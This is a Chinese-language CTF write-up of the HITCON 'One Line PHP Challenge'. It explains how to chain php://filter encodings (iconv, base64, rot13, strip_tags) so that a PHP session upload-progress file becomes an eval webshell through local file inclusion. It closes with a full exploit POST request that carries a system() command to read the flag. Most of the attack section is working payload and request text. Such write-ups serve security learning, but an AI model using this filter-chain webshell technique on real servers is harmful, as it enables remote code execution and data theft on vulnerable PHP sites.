## One Line PHP Challenge
### 题目源码
### 整体思路
因为`allow_url_include=0 `的缘故，我们不能远程文件包含，所以题目的解题思路很明显: 利用本地文件包含构造一个webshell/包含flag读取flag
### 前期试探
最开始题目没有给环境信息，我想到的是@王一航师傅去年发的一个filter会导致PHP < 7.2异常退出的bug
https://www.jianshu.com/p/dfd049924258
```
php://filter/string.strip_tags/resource=xxx
```
`ps: 这个bug的原因是有一处空指针引用`
本地`ubuntu16+php7.1(apt-get)`最新版本测试是成功的，因为tmp下临时文件得不到回收，可以通过lfi getshell
但是远程却始终不报错，后来放出了题目的环境为`ubuntu18+php7.2`，我开了一台相应环境的云主机，才发现此方法不通，原因有两点:
* php7.2修复了这个空指针引用的问题
* ubuntu17之后使用Systemd托管apache和php-fpm，tmp目录被分离开来
后来又试探了一些其他PHP自带的wrapper，无果，最后思路转到php://这个wrapper的filter上。
flag已知部分为开头的`hitcon`(6字节)，而他要求的文件开头为`@<?php`恰好也是6字节
搜索有关lfi相关知识的时候偶然看到了一篇
```
https://gynvael.coldwind.pl/?lang=en&id=671
```
这个题目就是通过filter编码flag，使其转成gif头，从而才读取到flag的，但是容错性较高。
后来排除了这个方案，因为就算转换成@<?php的形式，会被当做php代码包含进来，后面的部分无法被获取。
### get flag
后来在探测ubuntu18+php7.2有什么比较奇怪的系统文件的时候，发现php7.2的session文件存储路径是固定的 `/var/lib/php/sessions`,而不是之前版本(带有日期的子目录下)。恰好apt-get下载的php是默认开启session.upload的，于是便有了一个解题方向。
session upload的说明
```
https://xz.aliyun.com/t/2148#toc-2
```
但是仍有一个问题，session.upload生成的进度文件开头是`upload_progess_`
于是就用到上面的思路进行碰撞，但是碰撞6字节复杂度相当大，而且还要闭合前面的@<?php，所需要碰撞的字节数>6字节，很显然是不行的。
php://的filter中可以做到内容删除操作的有
```
consumed
string.strip_tags
```
于是想到只要碰撞第一字节为<（标签的起始），后面可控部分闭合掉它，用一次strip_tags，再把剩下完全可控的内容解码，即可。
base64可解码成`<`的范围是`PA`-`PP`，rot13后是`CN`-`CC`,所以只要前两字节在上面的任意范围内就可以通过filter解码出`<`
在这里可用的操作为
```
convert.iconv.* （转换编码）
convert.base64-en(de)code
string.rot13
```
且过程中一定要保持大部分可逆，base64decode在块不满的情况下或者中间出现不可解字符的情况下会丢失信息，所以要保持全程的字节数不变，初始数据为整块的形式，base64操作(en,de)对合。
有两个特别有用的编码转化
```
convert.iconv.UCS-2LE.UCS-2BE
convert.iconv.UCS-4LE.UCS-4BE
```
因为高低位存储的数据相反，可造成2bytes，4bytes的逆序操作
```
https://www.cnblogs.com/Johness/p/3322445.html
```
接下来就是要构造一个base64串，前四字节中存在`C`或`P`，且其后的字节范围在以上提到的范围内，然后通过2，4逆序操作可分别将其提升到第一字节，第二字节
最终构造出
php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=data://,upload_progress_aadddddd
对应的逆算法
php://filter/convert.base64-encode|convert.iconv.UCS-4LE.UCS-4BE|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|string.rot13|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.IBM1154.UTF8/resource=data://,xxx
然后使用逆算法编码整块的
```
>+(编码后的可控部分)
```
可控部分为
```
@<?php eval(xxx);?>//aaa...
```
这里我最终采用的编码形式是`convert.iconv.UTF8.CP1025` (base64太长了，而且不好控制整体的长度使其符合整数块)
编码器
`>`+生成的数据放到逆算法器
生成的数据放到upload_progress_aa之后交给题目程序处理
然后就是将结果生成文件
我生成的结果为
data://,upload_progress_aaaaaaaaaaaaa%0AA%D0%B8X%C2%98L%D0%AD%C2%9B%C2%84z%D0%9F%C2%9A%09cNM%1B%D0%AD%D0%BA%D1%9F%D1%8C%23%D1%88%D0%B7kS%5BWG.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF
去掉upload_progess_前缀输出到文件中
然后就可以用session.upload生成webshell了
exp 放在burp里多线程跑一下
```
POST /?orange=php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=/var/lib/php/sessions/sess_5uu8r952rejihbg033m5mckb17&1=var_dump(file_get_contents('/flag'));system('/read_flag'); HTTP/1.1
Host: 54.250.246.238
Proxy-Connection: keep-alive
Content-Length: 27912
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: §null§
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2rwkUEtFdqhGMHqV
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5uu8r952rejihbg033m5mckb17
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
生成的文件内容(parse from file)
(注意这里补充一些没用的数据，只有文件够大，才会产生有内容的上传进度文件)
------WebKitFormBoundary2rwkUEtFdqhGMHqV--
```
Sign in with Wallet
Connect another wallet